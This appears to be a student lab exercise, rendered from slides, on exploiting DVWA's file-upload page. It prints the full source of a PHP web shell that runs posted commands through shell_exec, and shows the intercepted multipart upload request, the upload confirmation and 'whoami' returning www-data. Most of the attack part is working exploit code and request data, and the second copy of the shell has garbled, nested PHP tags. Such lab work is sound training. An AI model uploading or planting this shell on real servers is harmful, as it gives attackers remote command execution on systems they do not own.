

The background features several abstract, organic shapes in shades of purple and blue. A large, irregular shape dominates the right side, with a smaller, more circular shape above it and another smaller shape in the bottom right corner. The colors transition from a deep purple in the center to a lighter blue at the edges.

Exploit File upload

Compito S6-L2

```

1  <?php
2  if (!empty($_POST['cmd'])) {
3      $cmd = shell_exec($_POST['cmd']);
4  }
5  ?>
6  <!DOCTYPE html>
7  <html lang="en">
8  <head>
9      <meta charset="utf-8">
10     <meta http-equiv="X-UA-Compatible" content="IE=edge">
11     <meta name="viewport" content="width=device-width, initial-scale=1">
12     <title>Web Shell</title>
13     <style>
14         * {
15             -webkit-box-sizing: border-box;
16             box-sizing: border-box;
17         }
18
19         body {
20             font-family: sans-serif;
21             color: rgba(0, 0, 0, .75);
22         }
23
24         main {
25             margin: auto;
26             max-width: 850px;
27         }
28
29         pre,
30         input,
31         button {
32             padding: 10px;
33             border-radius: 5px;
34             background-color: #efefef;
35         }
36
37         label {
38             display: block;
39         }
40
41         input {
42             width: 100%;
43             background-color: #efefef;
44             border: 2px solid transparent;
45         }
46
47         input:focus {
48             outline: none;
49             background: transparent;
50             border: 2px solid #ededed;
51         }
52
53         button {
54             border: none;
55             cursor: pointer;
56             margin-left: 5px;
57         }
58
59         button:active {
60             background-color: #ededed;
61         }
62
63         .form-group {
64             display: -webkit-box;
65             display: -ms-flexbox;
66             display: flex;
67             padding: 10px 0;
68         }
69     </style>
70 </head>
71 <body>
72     <main>
73         <div>Web Shell</div>
74         <div>Execute a command</div>
75
76         <form method="post">
77             <label for="cmd">Command</label>
78             <div class="form-group">
79                 <input type="text" name="cmd" id="cmd" value="" />
80                 <button type="submit">Execute</button>
81             </div>
82             </form>
83
84             <pre>
85                 <?php if ($_SERVER["REQUEST_METHOD"] == "POST") {
86                     <?php if (isset($_POST['cmd'])) {
87                         <?php $cmd = shell_exec($_POST['cmd']);
88                         <pre><?php echo $cmd;
89                     }
90                 }
91             </pre>
92         </main>
93     </body>
94 </html>

```

Pretty Raw Hex

```

1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1
2 Host: 192.168.50.101
3 Content-Length: 2750
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.50.101
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydgBAJoIxiXoJjTjv
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.50.101/dvwa/vulnerabilities/upload/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.9
13 Cookie: security=low; PHPSESSID=19db3185ee0597a05509d70b6d0c26cf
14 Connection: close
15
16 -----WebKitFormBoundarydgBAJoIxiXoJjTjv
17 Content-Disposition: form-data; name="MAX_FILE_SIZE"
18
19 100000
20 -----WebKitFormBoundarydgBAJoIxiXoJjTjv
21 Content-Disposition: form-data; name="uploaded"; filename="test.php"
22 Content-Type: application/x-php
23
24 <?php
25 if (!empty($_POST['cmd'])) {
26     $cmd = shell_exec($_POST['cmd']);
27 }
28 ?>
29 <!DOCTYPE html>
30 <html lang="en">
31 <head>
32     <meta charset="utf-8">
33     <meta http-equiv="X-UA-Compatible" content="IE=edge">
34     <meta name="viewport" content="width=device-width, initial-scale=1">
35     <title>Web Shell</title>
36     <style>
37         * {
38             -webkit-box-sizing: border-box;
39             box-sizing: border-box;
40         }
41
42         body {
43             font-family: sans-serif;
44             color: rgba(0, 0, 0, .75);
45         }
46
47         main {
48             margin: auto;
49             max-width: 850px;
50         }
51
52         pre,

```

Vulnerability: File Upload

Choose an image to upload:

No file chosen

../../../../hackable/uploads/test.php succesfully uploaded!

More info

[http://www.owasp.org/index.php/Unrestricted File Upload](http://www.owasp.org/index.php/Unrestricted_File_Upload)

<http://blogs.securiteam.com/index.php/archives/142>

<http://www.acunetix.com/websecurity/unrestricted-file-upload/>

Web Shell

Execute a command

Command

whoami

Output

www-data